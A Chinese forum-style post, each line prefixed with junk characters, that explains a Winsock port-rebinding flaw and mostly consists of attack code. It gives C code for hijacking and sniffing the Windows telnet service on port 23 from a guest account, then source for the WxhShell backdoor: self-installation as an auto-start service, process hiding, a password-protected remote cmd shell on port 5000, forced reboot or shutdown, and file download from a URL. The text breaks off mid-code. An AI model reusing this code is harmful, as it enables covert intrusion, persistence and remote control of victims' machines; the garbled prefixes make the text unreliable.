在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
0B/a$NC s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
|0p'p$% 12dW:#[ saddr.sin_family = AF_INET;
|"v{RC0 :`1g{8.+ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
eCD,[At/ HC,@tfS bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
&Sa~Wtm|* rK|&u
v*b 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Ya 4$7|( P^W47
SO 这意味着什么?意味着可以进行如下的攻击:
3=7 h+ZgB krc!BK`V 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
^#se4qQ -74T C 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
>/bK?yT< $t'I*k^N 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
|Eu~=J7@ [zEP| 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
k]pD3.QJ ;jI"|v{vnS 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
"\?G y: [] + 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
%Oqe7Cx>+ k|'Mh0G0 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
\;gt&*$- pUG fm #include
P@`"MNS #include
f om"8iL1 #include
e}AJxBE #include
(OQ
@!R& DWORD WINAPI ClientThread(LPVOID lpParam);
4[ 0?F!% int main()
MiM=fIuw@s {
][#*h`I WORD wVersionRequested;
m]q!y3 DWORD ret;
6qpV53H WSADATA wsaData;
d2yHfl]3 BOOL val;
LfXr(2u SOCKADDR_IN saddr;
N\p]+[6 SOCKADDR_IN scaddr;
No\&~ int err;
J5( D7rp# SOCKET s;
w{EU9C SOCKET sc;
B?Sfcq- int caddsize;
@6'E8NFl HANDLE mt;
#2ASzCe DWORD tid;
'$-,;vnP0 wVersionRequested = MAKEWORD( 2, 2 );
pY#EXZ# err = WSAStartup( wVersionRequested, &wsaData );
+ Z2<spqG if ( err != 0 ) {
KXCmCn
printf("error!WSAStartup failed!\n");
Q9tE^d+% return -1;
^QR'yt3e }
;o459L>sW saddr.sin_family = AF_INET;
w1(06A}/ i9U_r._qj; //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
G<6grd5PP $50"3g!Y saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
_5 tqO5' saddr.sin_port = htons(23);
z}2e;d 7 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
m@yVG|eP# {
_k.bGYldk printf("error!socket failed!\n");
Jd"s~n<>K return -1;
N4|q2Jvj6 }
lNVAKwW2# val = TRUE;
)Hm[j)YI //SO_REUSEADDR选项就是可以实现端口重绑定的
X`QW(rq if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
NVWeJ+w {
vD9D:vK printf("error!setsockopt failed!\n");
HKN"$(Q return -1;
A=]F_ }
810<1NP
//如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
3N0X?* (x| //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
E?4@C"Na //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
nYt\e]3 T&"dBoUq>G if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
`G0rF\[ {
mX.3R+t ret=GetLastError();
I4f printf("error!bind failed!\n");
%7d@+
. return -1;
3b\8907 }
mCNf]Yz listen(s,2);
1za'u_ while(1)
,xD*^>! {
HmB[oH"x caddsize = sizeof(scaddr);
*@n3>$ //接受连接请求
|$?Ux,(6 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
\(U" _NPp if(sc!=INVALID_SOCKET)
T_tDpq_| {
'EET3RK-S mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
PeUd if(mt==NULL)
39aCwhh7v {
C2=iZ`Z>T printf("Thread Creat Failed!\n");
/uXRZ break;
[^}>AC*im }
zo7XmUI3P }
mQ60@_"Y=, CloseHandle(mt);
\M"^Oe{Dy? }
X>Xp&o closesocket(s);
A~GtK\=; WSACleanup();
K M\+ return 0;
x D=qU }
3 [)s;e DWORD WINAPI ClientThread(LPVOID lpParam)
_Z66[T+M {
jw(>@SXz SOCKET ss = (SOCKET)lpParam;
26#Jhb E+ SOCKET sc;
ngY+Ym unsigned char buf[4096];
&*]{"^ SOCKADDR_IN saddr;
?}3PJVy? long num;
m{$tO;c/Q DWORD val;
%3c| DWORD ret;
:&0yf;>v //如果是隐藏端口应用的话,可以在此处加一些判断
:{i$2\DH6 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
eMl]td rI saddr.sin_family = AF_INET;
^c0$pqZ}r saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
L+~YCat|$U saddr.sin_port = htons(23);
cv*Q]F1% if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
jFNs=D&( {
Q^MXiEO+ printf("error!socket failed!\n");
"^
6lvZP( return -1;
&e]]F# }
Ce5w0&VlS val = 100;
hi3sOK*r;< if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Ns!3- Y {
m,gy9$ ret = GetLastError();
V)1:LLRW return -1;
yg+IkQDf4U }
{~p7*j^0 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
"?eH=! {
:m++ iR ret = GetLastError();
TcKvSdr' return -1;
|j~EV~AJ }
)}Rfa}MD if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
,P@/=I5 {
v :+8U[x printf("error!socket connect failed!\n");
N;x<| %peL closesocket(sc);
LE<u&9I\ closesocket(ss);
~6-"i0k
return -1;
P"bknXL }
m/<F 5R while(1)
:(l $^
M {
/K,|k
EE'n //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
s!hI:$J. //如果是嗅探内容的话,可以再此处进行内容分析和记录
lLkmcHu //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
'Uko^R)( num = recv(ss,buf,4096,0);
zD)IU_GWa if(num>0)
T}t E/ send(sc,buf,num,0);
{7=WU4$ else if(num==0)
'ybth break;
Y%fVt| num = recv(sc,buf,4096,0);
{C/L5cZ]J if(num>0)
c:llOHA send(ss,buf,num,0);
=CjNtD2] else if(num==0)
z;y^t4
^9 break;
YXX36 }
aVppOxA closesocket(ss);
mWli}j# closesocket(sc);
B.22
DuE# return 0 ;
0i5y(m&7 }
\]T=j#.S$ fou_/Nrue SE;Tujwhqi ==========================================================
=sE2}/g #*Yi4Cn< 下边附上一个代码,,WXhSHELL
b46[fa hgweNRTh! ==========================================================
W,HH *! g|K6iY #include "stdafx.h"
Z;GIlgK9 ^"O{o8l>2 #include <stdio.h>
(# 6<k #include <string.h>
.~. ``a #include <windows.h>
pHen>BA[ #include <winsock2.h>
}XX~
W}M(\ #include <winsvc.h>
s&dO/}3uR] #include <urlmon.h>
MX!u$ei Pt6hGSo. #pragma comment (lib, "Ws2_32.lib")
EjR_-8@FK #pragma comment (lib, "urlmon.lib")
_{LN{iqDv yn/?=
?0 #define MAX_USER 100 // 最大客户端连接数
4<G? #define BUF_SOCK 200 // sock buffer
7Wwp )D #define KEY_BUFF 255 // 输入 buffer
rU=b?D)n!w (C`FicY #define REBOOT 0 // 重启
O{k89{ #define SHUTDOWN 1 // 关机
>~I
xyQp gppBFS #define DEF_PORT 5000 // 监听端口
bp]^EVx Hp)X^O" #define REG_LEN 16 // 注册表键长度
n7IL7?!o #define SVC_LEN 80 // NT服务名长度
`z|=~ CM%|pB/z // 从dll定义API
r}/yi typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
V$/u typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Em e'Gk typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Sl3KpZ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
[3O^0-:6E $Wit17j // wxhshell配置信息
0U82f1ei struct WSCFG {
cGgM8 int ws_port; // 监听端口
}>MP{67Dm char ws_passstr[REG_LEN]; // 口令
tcBC!_vF int ws_autoins; // 安装标记, 1=yes 0=no
xS6(K char ws_regname[REG_LEN]; // 注册表键名
aO8ch char ws_svcname[REG_LEN]; // 服务名
]y3pE}R char ws_svcdisp[SVC_LEN]; // 服务显示名
vkd[:CC char ws_svcdesc[SVC_LEN]; // 服务描述信息
B4]AFRI char ws_passmsg[SVC_LEN]; // 密码输入提示信息
,CJAzGBS int ws_downexe; // 下载执行标记, 1=yes 0=no
)W&o?VRfO char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
GWF/[% char ws_filenam[SVC_LEN]; // 下载后保存的文件名
EY+/.=$x XR*Q|4 };
4$yV%[j TZ?Os4+ // default Wxhshell configuration
qqnclqkw& struct WSCFG wscfg={DEF_PORT,
hi!L\yi "xuhuanlingzhe",
m7$8k@r 1,
A2m_q>>
! "Wxhshell",
P^ptsZ% "Wxhshell",
wL 4ZW8_ "WxhShell Service",
2R^O,Vu*W "Wrsky Windows CmdShell Service",
`J72+ RA "Please Input Your Password: ",
M]}l^m>L 1,
drW~)6Lr@ "
http://www.wrsky.com/wxhshell.exe",
K K?Zm_ "Wxhshell.exe"
Lltc4Mzw };
86 *;z-G `AWy!}8 // 消息定义模块
OE_QInb< char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
q`XW5VV{K char *msg_ws_prompt="\n\r? for help\n\r#>";
7FAIew\r char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
l B1# char *msg_ws_ext="\n\rExit.";
p6`Pp"J_tr char *msg_ws_end="\n\rQuit.";
!Citzor char *msg_ws_boot="\n\rReboot...";
Ls&+XlrX8 char *msg_ws_poff="\n\rShutdown...";
JkZ50L char *msg_ws_down="\n\rSave to ";
x&'o ]Y M'kVL0p?vN char *msg_ws_err="\n\rErr!";
rkkU"l$v char *msg_ws_ok="\n\rOK!";
<3d;1o Mr-DGLJ char ExeFile[MAX_PATH];
6yY.!HRkr int nUser = 0;
BR+nL6sU HANDLE handles[MAX_USER];
i=YXKe6fD int OsIsNt;
Bd{4Ae\_+g Ng\/)^ SERVICE_STATUS serviceStatus;
C)NC&fV SERVICE_STATUS_HANDLE hServiceStatusHandle;
/D]Kkm) *c{wtl@ // 函数声明
J^ `hbP+2 int Install(void);
>ajuk int Uninstall(void);
*myG"@P4hW int DownloadFile(char *sURL, SOCKET wsh);
Mtm/}I int Boot(int flag);
pe9@N9_5 void HideProc(void);
d')-7C int GetOsVer(void);
sONBQ9 int Wxhshell(SOCKET wsl);
o/C(4q6d void TalkWithClient(void *cs);
wu A^'T int CmdShell(SOCKET sock);
)l_@t(_ int StartFromService(void);
$f#agq_ int StartWxhshell(LPSTR lpCmdLine);
S='
wJ@?; Ht#@'x VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
zF8'i=b& VOID WINAPI NTServiceHandler( DWORD fdwControl );
PocYFhWQ` qD#VbvRc9+ // 数据结构和表定义
syv$XeG=} SERVICE_TABLE_ENTRY DispatchTable[] =
x[QZ@rGIW {
\i!Son.< {wscfg.ws_svcname, NTServiceMain},
,|+Gls {NULL, NULL}
vv6?V#{ };
j Fma|y petW
M@ // 自我安装
n"6;\ int Install(void)
P"1 S$oc {
[8"oj hdV char svExeFile[MAX_PATH];
#Z\O}< HKEY key;
D==Mb~ strcpy(svExeFile,ExeFile);
FXV`9uq}Z $J.T$0pFa // 如果是win9x系统,修改注册表设为自启动
nU(DYHc+l if(!OsIsNt) {
I^D0<lHl~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
M`vyTuO3SO RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
d t_e RegCloseKey(key);
r[s!F=^
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
'Hw4j:pS RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
nBN&.+3t RegCloseKey(key);
@wp4 |G return 0;
AVG>_$< }
`2`fiKm }
+Ng0WS_0 }
ahJ1n< else {
B<7/,d' 2| B[tt1Z // 如果是NT以上系统,安装为系统服务
>E:<E'L SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
eWvo,4 if (schSCManager!=0)
@m~RtC-Q {
?7jg(`Yh SC_HANDLE schService = CreateService
!"Q}R p (
_n"Ae?TP schSCManager,
&.Q8Mi
aT wscfg.ws_svcname,
ymWgf6r< wscfg.ws_svcdisp,
;;Ds SERVICE_ALL_ACCESS,
cX:HD+wO SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
xY\0zQ SERVICE_AUTO_START,
auHFir8f SERVICE_ERROR_NORMAL,
/\Z J
svExeFile,
e8}Ezy"^ NULL,
Wkzs<y" NULL,
BI2; ex NULL,
+Llo81j& NULL,
at|g%$% NULL
6_gnEve
h );
<?h%k"5 if (schService!=0)
7\XE,;4> {
|E@djosyC CloseServiceHandle(schService);
-"Q-H/qh CloseServiceHandle(schSCManager);
eKN$jlg strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Bfr'Zdw strcat(svExeFile,wscfg.ws_svcname);
iWLa> z|, if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
nmFC%p)4 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
,FZT~? RegCloseKey(key);
06*rWu9P3 return 0;
:q#K} / }
Y[Ltrk{ }
9}29&O CloseServiceHandle(schSCManager);
BVw Wj-, }
(k`{*!:1a }
&|Pu-A"5~ Xm1[V& return 1;
k(%QIJH }
q
o 1lj"P l4y{m#/ // 自我卸载
pS[KBQ"F int Uninstall(void)
{/<6v. v {
tMp=-" HKEY key;
RDM`9&V!jp c+dg_*^ if(!OsIsNt) {
RthT\%R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
WO</Mw RegDeleteValue(key,wscfg.ws_regname);
LN2D RegCloseKey(key);
AVw%w&|% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
17.x0gW, RegDeleteValue(key,wscfg.ws_regname);
zsXoBD\h RegCloseKey(key);
J#2!ZQE
3 return 0;
? 1*m,;Z }
:-`7Q\c } }
Q@@v1G\ }
_7T@5\b:; else {
up'
$ (=~r`O+1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
}!>=|1fY if (schSCManager!=0)
5S{7En~zUE {
X"fh@. SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
o>/O++7R a if (schService!=0)
c`*TPqw(B[ {
,m=4@ofX if(DeleteService(schService)!=0) {
.lgPFr6X CloseServiceHandle(schService);
*Vw\'%p* CloseServiceHandle(schSCManager);
f.B>&%JRZ return 0;
6
sxffJt
}
^! 8P<y CloseServiceHandle(schService);
$,>@o=)_ }
b6(p CloseServiceHandle(schSCManager);
]iNEw9 }
3]&o*Ib1`_ }
evA/+F,& X|D!VX>#! return 1;
l`-bFmpA }
R%D'`*+ U$dh1; // 从指定url下载文件
h].~# * int DownloadFile(char *sURL, SOCKET wsh)
VdSv {
WKz>
!E% HRESULT hr;
9`//^8G:= char seps[]= "/";
^YdcAHjK char *token;
Sn4[3JV $l char *file;
)u]9193 char myURL[MAX_PATH];
?E%ELs_Dl char myFILE[MAX_PATH];
R"MRnr_4K iJ' xh n strcpy(myURL,sURL);
"1`Oh<={b token=strtok(myURL,seps);
ph>7?3;t while(token!=NULL)
JO<wK {
"P-lSF?T file=token;
wkqX^i7ls token=strtok(NULL,seps);
>odbOi+X }
me6OPc;:! obrl#(\P GetCurrentDirectory(MAX_PATH,myFILE);
vDl- "!G1 strcat(myFILE, "\\");
\#-W
< strcat(myFILE, file);
:0)3K7Q send(wsh,myFILE,strlen(myFILE),0);
{j5e9pg1L| send(wsh,"...",3,0);
@~c6qh hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
]u l$* if(hr==S_OK)
x_Jwd^`t! return 0;
R" )bDy? else
uEyH2QO return 1;
gBh;=vOD I+>%uShm }
Ofm%:}LV n+lOb // 系统电源模块
yme^b
;a int Boot(int flag)
{!|}=45Z {
joKIrS0y HANDLE hToken;
K{b(J
Nd TOKEN_PRIVILEGES tkp;
G7--v,R1x ZCKka0* if(OsIsNt) {
x3qW0K8 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
K7Rpr.p LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
>9RD_QG7 tkp.PrivilegeCount = 1;
{u1V|q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
aLJ(?8M@ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
)ZrS{vY if(flag==REBOOT) {
:=%0Mb: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
o?1;<gs return 0;
Xc"&0v%;# }
[aI]y=v else {
lrfv+ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
X#3et' return 0;
(x^BKnZ }
FO q1>>a0 }
c wg
!j!l else {
_k8A$s<d if(flag==REBOOT) {
ebPgYxVZR if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
iyj+:t/ return 0;
?4H i- }
MlLb|!,)T else {
D]c`B if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
/Q~gU< return 0;
A,r*%&4~ }
vad12WrG< }
yG Wnod' pv^O"Bs return 1;
/Uo
y/}! }
=K{\p`? cUTE$/#s // win9x进程隐藏模块
Hwo$tVa:= void HideProc(void)
Y"OG@1V;8 {
nqwAQhzy( 6s0_#wZC HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
atXS-bg* if ( hKernel != NULL )
Qs9gTBS; {
hstbz pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
~T) Q$ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
u,}{I}x_ FreeLibrary(hKernel);
~ek$C }
z<B8mB `--TP return;
A^q[N }
j"AU z)x r}uz7}z %" // 获取操作系统版本
z25m_[p2 int GetOsVer(void)
wywQ<n {
Vp>|hj po OSVERSIONINFO winfo;
G7N|
:YK winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
"M|zv GetVersionEx(&winfo);
hKzSgYxP=t if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
tv!_e$CR return 1;
gi0W;q else
YZ%Hu) return 0;
S[7WW$lF }
TDd{.8qf 6xD#? // 客户端句柄模块
hEh}PX: int Wxhshell(SOCKET wsl)
*
S=\l@EW {
Ur*6Gi6 SOCKET wsh;
=0;^(/1Mc struct sockaddr_in client;
F<!)4>2@ DWORD myID;
/4xki_} X/N0LU(q while(nUser<MAX_USER)
4.IU!.Uo {
Bdj%hyW int nSize=sizeof(client);
Y(44pA&oN wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
x' .:&z if(wsh==INVALID_SOCKET) return 1;
-!c"k}N=
ss5m/i7 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
da (km+ if(handles[nUser]==0)
@:KJYm[ closesocket(wsh);
26xXl|I else
/="~gq@ nUser++;
:O(^w}sle }
^5=B`aich WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
xhRngHU\z< To?W?s return 0;
gks{\ H] }
OK\A</8r w:
>5=mfk // 关闭 socket
gdkwWoN. void CloseIt(SOCKET wsh)
}!6\|;Qsz, {
a{[x4d,z closesocket(wsh);
6P';DB nUser--;
U^Xm)lL ExitThread(0);
)HX|S-qRU= }
YfRkwKjy( /{|fyKo\? // 客户端请求句柄
F$[ U|%* void TalkWithClient(void *cs)
o`Ta("9^ {
rD*sl} y
K"kEA[; SOCKET wsh=(SOCKET)cs;
8stwg' char pwd[SVC_LEN];
=9j8cC5y char cmd[KEY_BUFF];
_)\c&.p]f char chr[1];
s>^dxF!+ int i,j;
e[8LmuIZ v'e[GB0 while (nUser < MAX_USER) {
;X?mmv' clk[ /'1 if(wscfg.ws_passstr) {
` \+@Fwfx if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
~V$|i" //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
\|K;-pL //ZeroMemory(pwd,KEY_BUFF);
Uf, 4 i=0;
ai{Sa U while(i<SVC_LEN) {
a<@N-E xr G#?Sfn O0 // 设置超时
+).0cs0k5 fd_set FdRead;
*cEob b struct timeval TimeOut;
DZ_lW FD_ZERO(&FdRead);
nB!&Zq FD_SET(wsh,&FdRead);
$#]]K TimeOut.tv_sec=8;
L:z?Zt)| TimeOut.tv_usec=0;
rfq;%C int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
1|ra&(=) if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
mdw7}%5V z(H^..<!5 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
_%GGl$kH pwd
=chr[0]; /IsS;0K%L
if(chr[0]==0xd || chr[0]==0xa) { .j-IX1Sa
pwd=0; {6}eN|4~#
break;
?]x|Zy
} k2AJXw
i++; PTEHP
} f-%NaTI
,dx3zBI
// 如果是非法用户,关闭 socket PK"c4>q
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w08?DD]CDt
} G8;w{-{m
S*n@81Z
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *f?4
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ="g*\s?r
K#U<ib-v
while(1) { T8HF|%I
|<GDUwC_;
ZeroMemory(cmd,KEY_BUFF); VP6ZiQ|
yUp,NfS]o
// 自动支持客户端 telnet标准 |M+<m">E
j=0; rs~wv('
while(j<KEY_BUFF) { ObiT-D?)g
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g]c 6&Y,#
cmd[j]=chr[0]; {\(L%\sV@
if(chr[0]==0xa || chr[0]==0xd) { ?|39u{
cmd[j]=0; 9[^gAR
break; d,=r9.
} q5#J~n8Wr
j++; nG;8:f`
} xQ@^$_
|JVk&8
?8
// 下载文件 FD8N"p
if(strstr(cmd,"http://")) { |Z*J/v'@p
send(wsh,msg_ws_down,strlen(msg_ws_down),0); }5(Ho$S(
if(DownloadFile(cmd,wsh)) HTyLJe
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +9")KQT
else >2Kh0rIH
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VL*ovD%-
} /;utcc
else { a(0*um(
smry2*g
switch(cmd[0]) { TEaJG9RU>v
uNHF'?X
// 帮助 R>(@ZM&
case '?': { 1Y]TA3:
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J52
o
g4l
break;
0gfA#|'
} 7=DjI ~
// 安装 Yk5}`d!:
case 'i': { [!U?}1YQ
if(Install()) .;*s`t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -
h9?1vc7
else R@`y>X GNJ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .Fa4shNV
break; ZAXN6h
} Y2?.}Z O
// 卸载 9s_,crq5
case 'r': { b%S62(qP
if(Uninstall()) =-}[^u1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1Q.\s_2
else XGkkB
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cwL1/DGDB
break; \
5,MyB2/`
} ~PHB_cyth
// 显示 wxhshell 所在路径 B!\;/Vk
case 'p': { 7%{ |
char svExeFile[MAX_PATH]; *7wAkljP
strcpy(svExeFile,"\n\r"); =F;.l@:
strcat(svExeFile,ExeFile); :bC40@
send(wsh,svExeFile,strlen(svExeFile),0); Z>^pCc\lH
break; `2PLWo
} Ed
,D8ND
// 重启 4M^G`WA}t9
case 'b': { D7S'*;F
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `8Lo {P
if(Boot(REBOOT)) Z%n(O(^L
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZE/o?4k*c1
else { FTeu~<KpM
closesocket(wsh); UF@XK">
ExitThread(0); P'O#I}Dmw<
} W[^qa5W<FB
break; C|?o*fQ
} {U_$&f9s
// 关机 R?p00
case 'd': { {4-[r#R<M
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \l@,B +)
if(Boot(SHUTDOWN)) xu'yVt9RC
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $]rj73p^tH
else { {pHM},WJ
closesocket(wsh); dS5a
ExitThread(0); l}lIi8
} w &%~3Cz.
break; ubmrlH\d
} fa<v0vb+
// 获取shell eEn;!RS)
case 's': { V}zEK0n(6
CmdShell(wsh); p+Y>F\r&w
closesocket(wsh); <dvy"Dx
ExitThread(0); j8sH#b7Z
break; /-i!;!
} 6HlePTf8
// 退出 ,yTjU{<"
case 'x': { <fs2fTUeqF
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s\P2Bp_{
CloseIt(wsh); 2^^=iU=!<|
break; d`/tE?Gw
} G7CG~:3h+
// 离开 zH*KYB
case 'q': { %zOh
send(wsh,msg_ws_end,strlen(msg_ws_end),0); d%0~c'D8a
closesocket(wsh); MX ;J5(Ae
WSACleanup(); FEJ~k1z
exit(1); EMc;^ d
break; v$ub~Q6W
}
$/7pYl\n
} +Lnsr\BA
} ku..aG`
hnznp1[#@
// 提示信息 wGZR31
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \{EpduwZ
} &wB\ ~Ie-
} :(H> 2xS,s
Zx d~c]n
return; Z?O*'#yn
} {b@KYR9K
Glpe/At
// shell模块句柄 np4+"
int CmdShell(SOCKET sock) =?-ye!w
{ IO/4.m-aN#
STARTUPINFO si; 41_SRh7N
ZeroMemory(&si,sizeof(si)); .n=Z:*JqQ
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s-S}i{Z!
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SM^-Z|d?
PROCESS_INFORMATION ProcessInfo; ai0Ut
char cmdline[]="cmd"; +nT'I!//
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R9!Uo
return 0; TET`b7G
} _Um d
.%82P(
// 自身启动模式 !L95^g
int StartFromService(void) h)me\U7UC
{ Q(o!iI:Gts
typedef struct g38&P3/
{ ,p9i% i
DWORD ExitStatus; I=!rbF;Z
DWORD PebBaseAddress; M1%Dg'}G
DWORD AffinityMask; _A0mxq
DWORD BasePriority; J=dJsk
ULONG UniqueProcessId; /QEiMrz@6
